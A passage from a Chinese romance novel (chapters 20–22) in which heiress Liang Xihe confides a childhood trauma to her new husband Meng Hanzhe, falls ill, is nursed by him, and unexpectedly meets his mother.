机车飞速前进带起的夜风钻进毛衣,但她没感到凉意,只是浑身沸腾的怒气与躁意稍稍得到平复。 速度以及随时留意路况时的精神高度集中,会刺激人体的交感神经,促使肾上腺素飙升,让人心跳加快、血压升高,感到兴奋。 这种兴奋没办法解决她面临的实际问题,但是能帮她从负面情绪里脱离。 从夏末店里出来时,梁奚禾预备在大路右拐回双子大厦,看到红灯却改了主意,等箭头灯一绿,她便左拐去往郊区,准备多跑两圈。 主干道上车多又都顶着限速开,她对自己的驾驶技术心里有数,没敢太贪快,规矩地沿着路牙子前行,时刻注意前方和后视镜里的情况。 过了一会儿,她发现后面有两辆机车不远不近地跟着她,她快他们也快,她慢他们也慢,像是怕跟丢了她又怕被她发现。 梁奚禾猜到是谁,下一个红灯,她停下来,直到绿灯也没走。 停在200米开外的夏末见状赶紧追上来,头盔都没摘就匆匆下车:“禾姐怎么了,是车坏了吗?” “没有。”梁奚禾将挡风板往上一拨,“你们跟着我干嘛?” “当保镖啊。大晚上你一个人兜圈不害怕呀?”他笑道,“放心,我俩远远地跟着,绝对不打扰你。” 梁奚禾的情绪已经稳定不少,对上他关切的眼神,心里不能说毫无触动。 她软了语气,解释:“我心情不好,兜一圈就回去。” 不期然看到这位姐脆弱的一面,夏末既意外又莫名赧然,下意识地想挠头却触碰到头盔,讪讪地放下手。 “姐,我知道附近有个好地方,我每次心情不好去那儿待会儿比兜圈管用,要不要一起去?” 梁奚禾不想拂了他的好意:“走吧。” 这里就在雪霁山山脚下,夏末熟门熟路地带他们绕到后山的山道入口处,三辆机车呼啸着往山上冲锋。 这条山道不是上山的主要道路,两侧没有布设路灯,茂盛的树冠将月色遮挡得严严实实,也将外面世界的噪声屏蔽得滴水不漏。 眼前只有他们的尾灯和她自己车前灯的光照,引着她往前方不知道有什么的巨大的深色夜幕深处闯去,车灯一闪而过,被撕开的黑暗很快又在她的身后围合。 梁奚禾觉得身上发凉,耳边比发动机的声音更清晰的是自己的呼吸声,她捏着油门的手不自觉地时松时紧,杜卡迪也就忽快忽慢。 这时,原本跟在夏末身后的哈雷往外偏了一个车身后,减速。 梁奚禾自顾不暇,顾不上他什么情况,夏末没停,她就只管跟着前行。 等她超车后,哈雷又加速跟上来,不远不近地缀在她身后,将她夹在两辆车中间。 身后有人,意识到这一点,梁奚禾的紧张和恐惧马上得到了缓解。 到了山顶,她看向姚博远,他摘了头盔,没看她,依旧是那副淡漠到厌世的神色,就好像刚刚交换车位只是举手之劳不足挂齿,又好像一切都是她想多了。 “你们俩过来啊!精华在这儿呢!” 夏末在栏杆边挥手,两人一前一后地朝他走过去。 雪霁山半山半海,来观景的游人最喜欢观的是海景,听着碧海潮生和云开寺的晨钟暮鼓,如临海上仙山。夏末找的这处观景平台则人迹罕至,因它直面的是在现代社会最不缺的城市景观。 夏末却很喜欢遥看城市。 灯光错落有致,描摹出整座城市的轮廓,在如墨的夜幕里,像是一团璀璨的星河,而这其中,光芒最为绚丽的当属拔地而起的双子大厦,像星系中的恒星。 梁奚禾也是第一次看到这样的宁市,身处其中时不觉得,跳脱出来看时,才恍然发觉宁市如今已经这么繁华。 夏末献宝似的:“怎么样,万家灯火,好看吧?” 两人不语,他清了清嗓子开始观点输入,“我每次被我爸训,被我姐揍,就来这里看看。这凡尘之中,谁家没烦恼啊是不是?每盏灯下都有一本难念的经,这么想想,我就能原谅他们了,毕竟能给我留盏灯的也就他们了。” 看到小朋友故作深沉努力开解她的样子,梁奚禾轻笑出声:“说得对。” 夏末嘿嘿一笑,趁机说道:“笑了就好,禾姐你都不知道,你板着脸的样子比我姐恐怖多了。” “怎么会?”梁奚禾自嘲,“你姐一怒是真有实力让人流血千里,我只是纸老虎空架子,跟你一样逃不出如来佛祖的五指山。” 夏末听出一点口风:“嗐,代沟嘛,很正常的。” 梁奚禾“嗯”了一声,姚博远沉默地望着双子大厦,夏末捅他一胳膊,“你也别想了,跟父母怎么相处这种课题谁都研究不透。” 许是夜深人静,人的盔甲也到了最薄弱的时刻,姚博远罕见地开口:“没想研究。” 顿了顿又道,“如果可以,我希望自己从来没出生过。” 夏末暗自叹了口气,沉默不语。 梁奚禾对这男生有这么重的心结感到意外,原来他散发出来的那股子厌世并非她的错觉。 她不想多管闲事,但念着他刚刚交换车位的好意,想了想说道:“存在即合理,不管因为什么都不要否定自己的生命。人生是自己的,觉得来处没有意义,就多想想去处吧。” 她为自己这样形而上的输出而汗颜,没察觉到姚博远偏过头看了看她,借着夜色掩护,放任眼里翻涌着不知名的情绪。 话题厚重起来,夏末赶紧打断:“咱们去吃夜宵吧,附近有个吃烤串的地方绝了!” 梁奚禾也需要从赧然中抽离,搭腔:“刚刚路过那里有农家乐?” “啥农家乐?” “有个门楼那里。” 上山途中,她就看到那一条岔路。 夏末回忆一下:“哦那里啊,那不是农家乐,是福寿园。” 梁奚禾:?! 她顿时整个人都不好了,月色躲入漂移的云层中,夜风路过带起树叶发出沙沙声,一想到附近有片公墓,她就背心发凉,浑身激起鸡皮疙瘩。 梁奚禾猛地转身走向杜卡迪。 “我要回家了!”。 杜卡迪驶入地库,梁奚禾才被一股暖意笼罩全身。 但不够。 空旷的地库里,一点点动静,比如她自己的脚步声,都被放大到能听到回声,让人无端地紧张。 对面的车位上三辆黑色轿车旁边,多了一部亮黄色的跑车,她瞥了一眼无暇多看,匆匆跑向东楼的电梯间。 电梯上行,密闭空间里,她对着镜面中的自己也无所适从,从随身小包里掏出手机,手上有东西转移注意力就好了很多。 解锁后,她看到4通来自同一个号码的未接来电,微信里也有红点,来自同一个人。 19:10【禾苗,接电话。】 19:31【去哪儿了?我去找你?】 19:56【禾苗,跟我聊聊。】 20:23【我在东楼等你。】 刚看完信息,电梯门打开,她就看到了本尊。 他的西装已经脱了正挂在胳膊上,领带松开了稍许,人紧贴着墙壁而站。大概是喝酒了的缘故,整个人看起来不像之前那么端方板正。 完美的表象终于松动露出一丝裂隙。梁奚禾又生起气来,心想,什么君子,果然是不打算装了吗? 孟翰泽朝她走过来,他喝酒上脸,就连眼白都泛着红意,脚下却依然沉稳。被他高大的身影笼罩住时,梁奚禾闻到一股酒气。 “禾苗,我们聊聊吧。”他说。 梁奚禾抬起下巴:“聊离婚吗?” 孟翰泽对她的挑衅照单全收,并不生气:“除了离婚,什么都可以聊。” “除了离婚,我跟你没什么好聊的。” 瞪了他一眼,她绕过他就走,孟翰泽抬手握住了她的手腕。 知道她清瘦,他没想到手腕会这样纤细,真正的不盈一握。他的手指放心地收紧几分,不会捏痛她,但能防止她挣脱。 “禾苗,答应你的事我肯定会做到。”他的目光落到她脸颊上的伤口,“但我不想你再跟父母起冲突。跟我聊聊吧,告诉我你的真实想法。” 在跟父母斗智斗勇的这段时间里,梁奚禾见识过他们的恩威并用,对孟翰泽此时的柔声细语已经免疫,在她看来,无非是赌她吃软不吃硬,来帮父母做说客。 可惜她现在软硬不吃,反问道:“你不是说,我跟梁董之间能否达成共识,你不参与吗?” 孟翰泽眼神认真:“我从不会让我的合作伙伴独自解决问题。” 梁奚禾与他对视,泛红的眼睛不再像神秘的千尺深潭,她很直白地从中接收到了类似于关切的讯息。不只眼神,他的语气也是,让人相信这是君子一诺。 手腕处传来热度,看着他手背上因为用力而隆起的青筋,她终于松口:“好,我再信你一次。先放开我,我们去酒吧聊。” 孟翰泽放开手,跟在她身后,两人沉默地穿过连廊往西楼走,到了酒吧,梁奚禾找了一处沙发坐下,按铃叫了服务生。 “给我一杯椰林飘香。” 服务生又问孟翰泽喝什么,他要了一杯蜂蜜水。 灯光昏暗,他坐在对面与她隔着茶几,看不太清表情。服务生在远处晃动摇酒器,冰块碰撞发出声响,梁奚禾双手撑在沙发上,第一次尝试跟人说起那件事。 “孟翰泽,你还记得十五年前,梁氏把电缆公司卖给了美国人吗?” 20-30 第21章 孟翰泽垂眸。 十五年前,孟家发生剧变,对他来说回忆沉重。 那年祖父病逝,姚德平正式接手孟氏后不久就公然与情人出双入对,甚至高调对外宣布两人已育有一子,只比姚以涵小一岁。正沉湎于丧父之痛的孟淑慧又遭婚变,伤心绝望之下搬去了山上,从此在社交圈绝迹。 他已经不记得那年的自己是什么心情,可能也顾不上去整理自己的心情,因为妹妹一直在哭。他们兄妹俩因为要上学,没跟妈妈上山,依旧住在市中心曾经一家四口住的房子里。 那时候姚德平已经彻底不回家,半夜妹妹哭醒找妈妈,只能他去哄。他不是能说会道的人,很多时候不知道该怎么哄就给她剥个橘子,放个动画片,又或者陪她一起玩拼图。等她玩累了,就能睡了。 他却整夜整夜地失眠,握着祖父的腕表,看着夜光的指针一圈一圈地走,仿佛看到原地打转的自己。他终究过于年少,别说力挽狂澜,就连为母亲幼妹抵挡伤害也无能为力。 那年他自顾不暇,自然没有余力关注外面的世界,是后来长大后才从课堂上听说梁氏出售旗下防火电缆生产线旨在专注不锈钢管材业务的事,这被老师当成企业发展专业化和有限相关多元化战略的典型案例。 “记得。” 她好不容易愿意开口,他打起精神做个合格的倾听者。 椰林飘香和蜂蜜水被送上来,梁奚禾端起杯子将装饰用的菠萝角取下,仰头喝了三大口,浓郁的椰香和果香之中淡淡的酒气,她借着这点酒意将自己打开。 “那你也一定记得,美国人收购电缆公司后很快遣散员工,将公司关闭了。” “记得。” 梁奚禾又灌了了两大口,鸡尾酒只剩杯底。 她说:“那年我还小,外面无论有多么轰动的新闻都跟我没有关系,爸爸妈妈也不会在我面前谈论这些。但是,有一天放学回到家,我刚刚下车,就被人从后面用力地挤开,跌倒在地上。” “什么人!” 她听到司机大吼了一声,膝盖处传来剧烈的疼痛让她顾不上其他,司机赶紧过来将她扶起,抱进了屋内,边跑边喊:“快叫医生!” 但屋子里没有人应声,管家、佣人还有父亲的助理都正对闯入者严阵以待。 助理尝试着上前将人制服,但不速之客举起双手作投降状,表明自己没有恶意,嘴里说道:“梁董,我不是歹徒,我说几句话就走!” 梁茂林面色沉冷,注意到被司机抱着的她,示意管家将她带去楼上。 她被领回房间,因为好奇,趁管家阿姨去拿药箱时没忍住偷偷溜到楼梯口,悄悄地从栏杆的缝隙里往下看。 “梁董,我母亲十天前摔倒了,股骨头骨折,做了手术后还躺在ICU里。我太太乳腺癌晚期,第二次化疗了。我还有一儿一女,龙凤胎,跟您的女儿差不多大……” 梁茂林打断他的话:“既然你也有孩子,刚刚为什么把我女儿推倒在地上?” 他没忘记小禾苗血糊糊的膝盖,从小就没摔成这样过。 闯入者惶恐地道歉:“我刚刚太着急了,真的不是故意的!” 梁茂林宠爱女儿的名声在外,并不接受他的道歉,指着大门道:“说完了吗?说完了就请离开吧。” 助理上前赶人,闯入者却着急地往前扒住了沙发靠背:“梁董,我真的需要这份工作!美国人不讲道理,随随便便就把我们开了……” 梁茂林厉声打断:“美国人开了你,你就去找美国人,来我家胡闹什么?” 那人突然跪了下来,膝盖撞到地砖上发出“咚”的一声,吓得梁奚禾捂住了嘴巴。 这是她第一次看到现实中有人给别人下跪,那种卑微的、完全摒弃自尊的姿态触目惊心。 那人苦苦哀求:“梁董,求求您行行好吧!我从初中毕业就进了梁氏,算得上老员工了,您不能这么对我们!我文化程度不高,但是车间里的活我熟练呀,求求您让我回梁氏吧!” 梁茂林声明:“出售电缆生产线是基于整个集团发展的考量,并非梁氏故意抛弃你们。我将电缆公司,包括员工,完整地交到收购方的手上,这个交易没有一丝一毫的不公平不公正。至于收购方的决策,就不在我的考虑范围之内,我也无法干涉。希望你明白。” “可是美国人不讲道理啊!” 闯入者还要争辩,梁茂林没有耐心听,交代助理:“给他拿两万块钱,送客。” “我不要钱,梁董!我不是来乞讨的,不对,我是来乞讨的,我想讨一份工作,长久的工作!” 梁茂林充耳不闻,迈上楼梯,看到坐在台阶上的女儿,心疼地将她抱起。 楼下鬼哭狼嚎的动静里,梁奚禾问爸爸:“真的不能让他回梁氏上班吗?” 管家阿姨拿来药箱,梁茂林亲自给她上药,眉宇间满是心疼地朝她的膝盖吹着气,直到包扎好后才回答这个问题。 “禾苗,安置一个人简单,可是一旦开了这道口子,想要安置电缆公司上下几百号人,就不是一件小事了。” 梁奚禾似懂非懂地点头。 随着伤口的愈合,很快她就忘了这段插曲。结的痂完全掉落的那天是梁氏正式入驻新大楼的日子,盛大的典礼之后,梁茂林还会在附近的酒店宴请全体员工。 梁奚禾对宴席不感兴趣,但是听到奚云岚跟人打电话说会邀请一位歌星助阵,她想看漂亮的明星姐姐,所以缠了父母好久,他们终于答应她放学后可以去梁氏。 回忆到那天的场景,梁奚禾将杯底的鸡尾酒一饮而尽。 孟翰泽隐约回忆起那年的新闻,开口说道:“不用说了,我知道了。” 梁奚禾摇头,眼里有晶莹闪烁。 “我想说。” 她的声音已然带着鼻音,孟翰泽蹙起眉心。 “好好的一个人,就这样砸下来……我在车里都听到了,砰,好大声……” 她当时正在车里等着父母下楼一起去酒店,为了晚上可以尽兴地玩,她趴在中央扶手上抓紧写着作业。等听到动静抬头向外张望时,司机已经敏锐地意识到事情不对劲,启动车辆带她离开。 梁奚禾懵懂地凑近车窗往外看,保安、路过的员工,好多人正尖叫着大喊着围上去,她在他们乱哄哄的脚步空隙中,看到了躺在一地殷红中的人,还穿着那天去他们家时的衣服。 “我知道在这件事情里面,爸爸没有做错任何事……” 梁奚禾说不下去,双手掩起脸庞,孟翰泽锁视着她,片刻后,起身坐到了她面前的茶几上。 两腿分立在她的身侧,他倾身抬手,犹豫了一下后,放到她的脑袋上轻揉了两下。 梁奚禾作了个深呼吸抬头看他:“从那以后,我再也没去过梁氏大楼。” “嗯。” 他肃然点头,眼底的红意更甚。 “我也没有办法去做一个领导者。孟翰泽,你懂吗?爸爸妈妈总说试试看吧,他们允许我的失败,但一想到我的犯错成本会均摊到那么多人身上,我就害怕。 “我没办法把它当成一个经营游戏去试试看,用那种大不了就是败掉几个亿的轻松心态。钱不重要,重要的是对梁氏那么多的员工来说,我的任何一个决策,可能都会影响他们的生活甚至是生存。” 也许是情绪过于激动,她感觉到胃部隐隐抽疼,下意识地抱起胳膊顶在胃部。 小刺豚第一次在他面前翻身,敞开了尖刺下柔软的腹部,而那双葡萄眼里盈满了水汽,孟翰泽没办法轻易地说出无关痛痒的安慰的话。 “我真的只是一个能力平平的人,承担不了这种责任,为什么爸爸妈妈就不能认可把专业的事情交给专业的人去做呢?” 她越发俯身,抱着自己蜷缩成一团。 他柔声问道:“这件事有跟爸妈说过吗?” 她轻轻地摇头,声音低了几分。 “不敢提起这件事,因为我知道爸爸也很自责。有一次他应酬喝多了,我看到他抱着妈妈哭了。他问妈妈如果当时他不是居高临下地施舍两万,而是好好帮人安排一份工作,是不是就能拯救那个家庭。 “我也知道,他后来匿名资助了那个叔叔的两个孩子。这件事对他们来说也是伤口,我不想重新撕开。” 她完全把头埋进膝盖里。 孟翰泽凝视着她,没有出声打扰,陪着她平复情绪。 过了一会儿,他才开口:“我知道了,不会让你去梁氏上班,梁董和奚总那边,我会想办法。禾苗,不要给自己太大压力。” 梁奚禾低低地答应:“嗯……”没有抬头。 又过片刻,她将自己越抱越紧,身体不自觉颤抖,孟翰泽才意识到不对劲,蹲下身去看她。 “禾苗?你怎么了?” 熟悉的、剧烈的疼痛从腹部传来,梁奚禾十分难耐地咬紧牙关,含糊地说:“我胃疼……” 一向自矜的他大惊失色,当下一手揽住她的后背,一手抄过腿弯,将人打横抱了起来。 “我们去医院。” 孟翰泽步履匆忙,他喝了酒没法开车,扬声让服务生去叫简腾。 梁奚禾埋在他的颈窝紧闭着双眼,双手按着上腹部,疼得呼吸都粗重起来。 出了酒吧,穿过茶室,来到西楼的电梯厅,他听到她有气无力地说:“我不要去医院,我家里有药……你找雷迪……” 到医院就是抽血,做B超一堆检查,等检查做完拿到报告,医生才会给配药,那时她都捱过最疼的一阵了。梁奚禾对这套流程熟悉,坚持不去医院。 孟翰泽第一次遇到这种情况,在他的观念里,她都痛成这样了怎么能自己随便吃药,不做检查他不放心。 “我说了我不去!我想吃药!” 梁奚禾急得差点朝着他的脖子一口咬上去,他这才脚步一转进了家门,刚将人放到主卧床上,简腾和雷迪飞奔赶来。 简腾倒了杯温水,雷迪呼吸还没缓匀就倒入药粉搅拌,扶着梁奚禾慢慢喝。 “有糖吗?” 雷迪出来得急,没带糖,这种胃药冲剂入口苦涩,每次梁奚禾喝完都要吃点甜的压一压。 “有有有。” 简腾从兜里掏出自己的糖盒递了过去,站在雷迪身后查看梁奚禾的情况,然后惊觉这是卧室,自己出现在这里不大合适。 他赶紧收回视线,转身出门到客厅待命。 梁奚禾喝了药,雷迪说让她静躺一会儿,闭目养神,孟翰泽和她一道出来。 “真的不用去医院吗?”他还是不放心,“我让陶医生过来看看。” 雷迪心里有成算,现在这种情况吃了药就问题不大,比这更厉害疼得冒冷汗的时候才需要找医生挂水,但她没说话,不想阻拦这位孟总关心禾苗。 等他挂了电话,她问:“Thea后来有吃什么吗,怎么突然胃疼了?” 孟翰泽:“喝了一杯鸡尾酒。” 雷迪瞪大了眼睛还未说话,简腾已经嚷嚷道:“您怎么不拦着点,太太不能喝酒啊!” 孟翰泽凝眉:“什么?” “今天雷助理不是还拿我手机给您发了语音,说太太胃不好,不能吃辣不能喝酒嘛……” 简腾边讲边意识到自己太大声了,差点忘了面前的人是自己的BOSS,他收了五分,“您是不是没听啊?” 孟翰泽确实没听,看向雷迪:“我不知道,抱歉。” 雷迪当然不能多说什么,只道:“我回去整理Thea的东西拿过来,麻烦孟总先照看一下。” 简腾瞅瞅孟总的脸色不太好有点懊恼不该多嘴多舌,想起自己还属于非诏不得入内的人员,一个激灵:“孟总,那我先下去了。” 人走后,孟翰泽回了主卧,先到床边俯身查看梁奚禾的状态。她背对着他而卧,仍是蜷着身体,但眉头松动,面色比刚刚好了不少。 他略略放心,将被子掖好后,坐到了窗边的单人沙发上,解锁手机找到和简腾的对话框,将那四条语音一一转为文字。 【……她不能吃辣,更不能喝酒……麻烦您多看着她。】 【她最喜欢做的事情其实是画漫画……请给她空间,也请帮忙保密。】 【……在努力探索感兴趣的事……请孟总多多支持,给她一点时间寻找未来的方向。】 孟翰泽至少看了两遍才熄灭屏幕,重新将目光落到梁奚禾的身上。 他安静地看了许久。 无论人前多么傲娇,她终归是刚刚长大才走出校园的小朋友,迷惘和惶恐总是情有可原。 她需要的时间和空间,他都愿意给她,以后也会竭尽所能地给她。 梁奚禾没有睡着,知道他给自己盖被子,也知道他没有离开房间。 缓过劲来后,她睁开眼睛,没想到正好对上他的视线。 他似从若有所思中回神,马上起身来到床边,俯身问她:“好点了吗?需要什么?” 梁奚禾:“我想回去。” “雷迪已经去帮你拿东西了。”他当然不希望她再折腾,好好躺着。 她嫌弃地说:“你家的床不舒服。” 他耐心询问:“哪里不舒服?” “没有安全感。” 她从小就睡U形床头的宽屏床,在英国的时候也是,只有这种围合感才能让她觉得安心。 孟翰泽不解,只当她认床,正沉默间,简腾引着陶医生匆匆赶到。 他哄道:“陶医生来了,等他看过后再回去,好吗?” 梁奚禾“嗯”了一声,重新闭上眼睛。 陶医生问诊触诊听诊检查了一遍,取下听诊器,严肃地问:“回去?回哪儿去?你发烧了知不知道?” 第22章 次日晨起,梁奚禾在一身令人不适的黏腻中醒来,发烫的手脚忍不住探到了被子外,脖颈处一片汗津津。 她侧身撑着床坐起来,手臂软绵绵的没什么力气,胃已经不疼了,头却重得厉害,鼻子塞住被迫张嘴呼吸。 昨晚陶医生到的时候,她开始发烧,原以为是胃疼的缘故,后来疼痛缓解依然浑身发冷才意识到应该是着凉了。绞花毛衣好看但不防风,她开着杜卡迪四处乱跑,回来时觉得背心发凉根本不是被吓的,实际是冻着了。 梁奚禾抬手摸了摸额头,温热不烫,应该没再烧起来。前半夜体温高得吓人,后半夜孟翰泽喂她吃了第二次退烧药后高热才退。 想到这里,她忍不住看向窗边那把Cassina乌德勒支椅,黑色扶手和黑白相间波浪文椅面,昨晚只要她睁开眼睛就能看到他坐在那里,那时没觉得这椅子长得这么冷硬。 现在上面没有人,她抬眸逡巡。 小夜灯的光线仅能照亮一小片,看不清整个房间。梁奚禾干脆掀被下床,俯身找到床头的总控开关将灯全部打开。 这是她在西楼解锁的第二间卧室,宽敞更甚昨晚的客房,线条的延伸与折叠更加考究利落,墙面和天花板的装饰中大量运用了意大利Tabu木皮来营造宁静松弛的氛围。 室内设计之所以如此用心是因为这里是主卧,孟翰泽的房间。 但他此刻不在。 大概是一夜没睡,现在补觉去了。 对于他昨晚没让雷迪留下来,而是亲自照看她一晚上,梁奚禾感到诧异。若是交换角色,她自问是没办法做戏做到这份上的。 她露出一个清浅的笑意走去浴室,常常调侃国家欠她一个哥哥,这回也算是体验到了。 刚退烧不能洗澡,梁奚禾拧了毛巾简单清理下汗意,准备换套干净清爽的衣服。 昨晚雷迪一共送过来两套供她选择,一套是MANITO的Diva短睡裙和长睡袍,杏色,桑蚕丝材质,袖口与下摆处均点缀着一圈奢华羽毛。毋庸置疑,这是奚总置办的。 另一套则是StellaMcCartney的圆领廓形动物印花上衣,通体复古水洗灰、那种看起来旧旧的颜色,正面一只硕大的、抵她大半个身躯的猫咪头像,奶凶奶凶的,无疑是她自己的手笔。 仙or凶,雷迪应该是吃不准新婚夫妻的相处模式,就把迥异的两种风格都拿过来随她选。梁奚禾意会到这点,不禁被逗笑。 严格来说,第二套并不算家居服,但长上衣配鲨鱼裤是她最自在的穿搭,她肯定选这套。 换好衣服,她环顾四周。 孟翰泽的衣帽间不大,一排西装,一排衬衫,少数几件长款大衣,按照颜色整齐排列堪比西装店,不过都是乏善可陈的黑白灰,扑面而来一股古板的气息。 梁奚禾看了两眼就离开,走出卧室时,对面客房的门也正好打开。 孟翰泽应该是刚刚冲过澡,发丝上还沾着潮气,换上了黑色薄款羊绒衫和灰色卫裤,比起西装革履的样子平易近人不少。 “醒了?” 看到她,他几步就走过来,大掌不由分说探上她的额头:“没烧了。” 放下手后留意到她换了衣服,他眉头一皱,“洗澡了?” “没有,就换了衣服。” “嗯,这两天不要洗澡。” “知道。” 说到这,梁奚禾突然猛地往后退了一步,“那咱俩离远一点。” 孟翰泽眉梢微抬,不解。 “感觉自己臭臭的。” 她嫌弃地说道,自己身上肯定有汗味,不像他散发着清冽的薄荷香气。 看到她耸了耸鼻尖,特别像一只兔子,孟翰泽轻牵了下唇:“下去吃点东西吧。” 在餐桌边坐定,阿姨很快送上来早饭。粥品有荔湾艇仔粥和皮蛋瘦肉粥可选,点心则是虾饺皇、豉汁蒸凤爪、叉烧肠粉等几道她最喜欢吃的。 大概是找雷迪提供的情报,没想到他的关照会这么细致周到,梁奚禾看他一眼,顽皮心起,故意兴致缺缺地说:“我不爱吃这些。” 孟翰泽给她盛粥的手一顿,抬眸问道:“没有胃口?那想吃什么,我让厨房重新准备。” 她托着腮随口发挥:“想吃宜宾燃面,或者红油抄手也行。” 闻言,他收回了认真以待的视线,气定神闲地继续舀粥,将碗放到她面前。 “辣的就免了,酒也必须戒了。我已经通知简腾,以后酒吧只提供无酒精饮料,也不再预备冰块。” 想起昨晚她蜷缩着喊疼喊冷,脆弱得仿佛易碎品的样子,他的语气便不容辩驳。 梁奚禾:“……” 算是窥见了他作为集团总裁说一不二的一面。 不过她本来也不是酒鬼,酒嘛可喝可不喝,昨晚只是情绪到那儿了而已。 “知道啦孟总,你这么严肃干嘛,我逗你玩儿的。” 梁奚禾勾了勾唇角,乖乖喝粥。 孟翰泽看着她,生着病脸色不怎么好,情绪状态倒是已经恢复,甚至比之前同他亲近不少,没了从前拒他于千里之外的模样,似乎终于将他纳入社交舒服圈的范畴。 梁奚禾吃了一段肠粉,看看对面安静用餐、餐桌礼仪满分的男人,突然提问:“孟总,你还记得昨晚答应我什么了吗?” 他将食物吞咽下去,直视着她回答:“记得。不会让你去梁氏上班。” 她满意地笑起来,又问:“你相信我跟你说的话?不怕我又是逗你玩儿的?” “相信。”他没有犹豫。 她不依不饶:“也许是美人计,或者苦肉计呢?” “什么计都可以,只是不要用苦肉计。” 他换成公筷,夹了一个虾饺皇放到她的碟子里,认真严肃地说,“没什么比你的身体更重要。” 四目相对,梁奚禾看到了他眼里的血丝,心中蓦然一动。 孟翰泽继续道:“禾苗,你向来是有话直说的脾气,这一点,我希望碰到我也不会变。以后你想做什么都可以直接说,不用什么计,我都会无条件支持。” 说完他意识到这个承诺条款有缺漏,没有停顿马上补充,“除了喝酒吃辣。” 凭梁家的家境,梁奚禾自小就什么也不缺,但凡她想做什么都用不着外人无条件支持什么。所以,以前有男生像这样对她嘘寒问暖发誓言表忠心,她都嗤之以鼻。因为不缺,所以不屑。 可这回她安静了两秒,没办法像之前那样不屑一顾。 她笑起来,挑眉回道:“孟翰泽,‘无条件支持’,你敢说,我就敢信哦。” 他依然是说到做到的笃定神色,郑重地点头“嗯”了一声,催她快吃,吃饱饭后还要吃胃药。 一碗热粥下肚,梁奚禾觉得血脉经络全都舒展,连鼻子都通气了不少。 吃药的时候,她站在岛台边磨磨蹭蹭,一杯药抿了几口还剩一大半。 孟翰泽一边洗草莓,一边监督:“喝光。” 康弘信家生态农场直接送来的草莓,没有污染源更没有打农药,可以放心直接吃,但他还是认真地清洗了一遍,怕生冷食物刺激胃部,又用热水浸泡了几分钟。 梁奚禾喝完药被投喂一颗草莓时,完全没想到草莓被热水烫过后会是这种软烂的口感,她差点吐出来,嫌弃:“口感变了,连香气都没有了。” 说什么都不肯再吃第二颗。 孟翰泽又去冰箱里拿了克伦生无籽红提,无视梁奚禾的抗议,仍然用热水泡了一遍。 谁家水果全泡热了吃的? 梁奚禾双手插腰站在岛台前,表情跟衣服上的猫咪一致,瞪视着他吐槽:“你怎么不干脆把它们煮熟了?” 孟翰泽老神在在:“好主意。” “……” 梁奚禾被噎住。 她想象不出捂热的葡萄什么味道,有草莓的体验在前,不是很想吃,直接拒绝三连:“我不想吃葡萄。我从来不会带皮吃葡萄。我现在也不是非要吃水果不可。” 孟翰泽刚刚将碗里热水倒出,闻言看了她一眼,从善如流地捏起一枚红提去皮后放到果盘里,强势地推到她面前。 “必须吃,补充维C。” “……” 梁奚禾抱着一碗晶莹透亮的提子坐到沙发上,孟翰泽拿了一条黑金配色的沙发毯给她盖腿,范思哲的圣杯巴洛克系列,跟她那件登基感强烈的长睡袍同一种风格。 她笑问:“新买的?” 当然是新买的,她都言明非新的不用,他不可能不准备。请雷迪置办是想更合她的心意,他这边也按照能观察到的她的喜好购置了一些可能需要用的东西。 他云淡风轻地“嗯”了一声,然后说:“我今天在家办公,书房在楼上,有事叫我。” 梁奚禾看着他泛红的眼睛,惊讶:“你不睡一会儿吗?还要工作?” “午休再睡。上午有个视频会。” 事关梁孟即将共同成立的新公司,会议重要,他亲自主持。不能把她一个人放在家里,他才改成了以视频的形式参加,其余与会人员都在公司会议室里集合。 他转身要上楼,梁奚禾突然想到件事:“等一下,你银行卡号发我。” 戒指的钱还没给他。 孟翰泽猜到她在想什么,掏出手机打了字:“发你了。” “ok。” 梁奚禾目送他上楼,也不知道戒指确切价格,估摸着从手机银行转了50万过去,又在微信上提醒他查收,他没回。 两分钟后她收到银行的短信,孟翰泽在小数点之前多添了个0转了回来。 【这是干嘛?】 她在微信上问。 孟翰泽:【我不是随便说说的。】 梁奚禾瞬间领悟他的意思,是指无条件支持不是随便说说的。她突然想起那个网红句子,嘘寒问暖不如打笔巨款,惊讶中混入一些别的、莫名的情绪。 她不知道该怎么回,撩了撩头发,将一枚提子放入嘴里。 葡萄过了热水后还挺甜的。 事关这笔巨款,她想等他会议结束后再聊。这会儿她没什么事情做,看看电视刷刷短剧,久了有点无聊。 雷迪在微信上问她有没有好点,人没有过来,像是怕打扰她跟孟翰泽的二人世界。 梁奚禾:【Lady~江湖救急,把我的iPad送过来吧~】 她动过回自己家去休养的念头,只想了想就作罢。孟翰泽照顾了她一整夜,尽心尽力地做到这份上了,她不能不知好歹地立马给破了功,怎么也得待到完全退烧。 这样传回父母耳朵里才是恩爱的力证,才能抹掉她昨晚脱口而出“离婚”的负面影响。 雷迪很快将平板送过来,连带着pencil。 梁奚禾:“你怎么知道我想画画?” 雷迪善解人意地笑笑。 听说孟总在家,她没有多待,确认了梁奚禾已经吃药,帮梁奚禾保温杯里续了热水后就离开。 孟淑慧到家里的时候,梁奚禾正趴在茶几上给线稿上色,沉浸其中,直到门铃响到第三遍才反应过来。 孟翰泽匆匆下楼,瞥见她的样子,顿住脚步说了句“别坐地上”,才跑去开门。 家里有地暖,坐在地上反而暖和舒服,梁奚禾没在意这话,探头朝玄关处看了一眼。 简腾接过访客的外套挂到衣柜里,Boss没有别的吩咐,他带上门离开。 孟翰泽亲自引着客人往里面走,侧着身,样子很是恭谨。 梁奚禾好奇地打量了来人。 大概五十多岁的年纪,面容姣好,盘着低发髻,一身织锦缎提花的新中式套装,身姿挺拔,步伐轻盈,是跟奚云岚不相上下又迥然不同的典雅气质。 孟翰泽:“禾苗,我介绍一下,这位是我的母亲。” 梁奚禾:?! 她下意识地起身相迎,大脑却一片空白。领证的时候都没想跟他联系,至于见他的家人,她确实想都没想过啊! 就这么猝不及防地见到了……婆婆,她顿时如临大敌,站在原地艰难地挤出一丝微笑营业:“您好。” 孟翰泽还是第一次见到她束手无措的样子,慌乱地眨巴着葡萄眼。 梁茂林和奚云岚都是长相出众的人,孟淑慧料想他们的女儿一定很漂亮,却没想到不仅漂亮,竟然还这么软糯可爱。 灵动的葡萄眼像婴儿一般,因为感到惊讶而睁得大大的,都快赶上衣服上那双巨大的猫咪眼睛了。 她将手包放到沙发上,走近两步,含笑解释:“抱歉禾苗,妈妈不请自来,打扰你们了。早上想问翰泽你们什么时候回家吃饭,听说你着凉发了高烧,我不放心所以来看看。现在感觉好一点了吗?” 梁奚禾被握住手,孟淑慧的掌心柔软温热,大拇指带着关切和疼惜地轻轻摩挲着她的手背。 和记忆里某些画面重叠,她愣了两秒。 